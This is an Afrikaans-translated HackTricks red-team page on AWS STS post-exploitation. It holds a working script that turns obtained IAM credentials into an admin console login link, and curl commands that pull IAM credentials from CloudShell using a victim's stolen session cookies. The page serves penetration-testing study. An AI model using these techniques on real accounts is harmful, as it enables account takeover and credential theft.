AWS - STS Post Exploitation

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

STS

Vir meer inligting:

AWS - IAM, Identity Center & SSO Enum

Vanaf IAM-legitimasie na Konsole

As jy daarin geslaag het om sekere IAM-legitimasie te verkry, mag jy belangstel wees om die webkonsole te betree met die volgende gereedskap. Let daarop dat die gebruiker/rol die toestemming sts:GetFederationToken moet hê.

Aangepaste skrip

Die volgende skrip sal die verstekprofiel en 'n verstek AWS-plek (nie gov en nie cn nie) gebruik om vir jou 'n ondertekende URL te gee wat jy kan gebruik om binne die webkonsole in te teken:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

Jy kan 'n webkonsol-skakel genereer met https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Maak seker dat die IAM-gebruiker die sts:GetFederationToken toestemming het, of voorsien 'n rol om aan te neem.

aws-vault

aws-vault is 'n gereedskap om AWS-geloofsbriewe veilig te stoor en toegang daartoe te verkry in 'n ontwikkelingsomgewing.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Jy kan ook aws-vault gebruik om 'n blaaierkonsole-sessie te verkry

Van Konsole tot IAM-legitimasie

Oorspronklik ontdek in hierdie pos, As jy daarin slaag om toegang tot 'n webkonsole te kry (miskien het jy koekies gesteel en kon nie by die .aws-vouer uitkom nie), kan jy 'n paar IAM-tokenlegitimasie vir daardie gebruiker deur CloudShell verkry.

CloudShell stel IAM-legitimasie bloot via 'n ondokumenteerde eindpunt op poort 1338. Nadat jy sessiekoekies van die slagoffer in jou blaaier gelaai het, kan jy na CloudShell navigeer en die volgende bevele uitreik om IAM-legitimasie te kry.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated